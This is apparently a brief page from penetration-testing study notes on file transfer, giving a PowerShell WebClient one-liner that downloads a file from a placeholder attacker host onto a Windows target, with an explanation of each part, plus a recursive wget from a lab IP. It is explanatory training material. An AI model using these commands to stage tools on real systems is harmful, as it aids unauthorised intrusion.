๐Ÿ“‚File Transfer

PowerShell Download

Code

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<attacker_ip>/<filename>','C:\<target_path>\<filename>')"
  • -c: execute the supplied command (wrapped in double-quotes) as if it were typed at the PowerShell prompt

  • new-object: instantiate either a .Net Framework or a COM object

  • WebClient: creating an instance of the WebClient class (access resources identified by a URI)

  • DownloadFile: requires our two key parameters: a source location (in the form of a URI as we previously stated), and a target location where the retrieved data will be stored

Link:

Note:

  • PDF page 87

Wget Download

code

wget http://10.10.13.49/uploads/scripts/ -r --no-parent

Last updated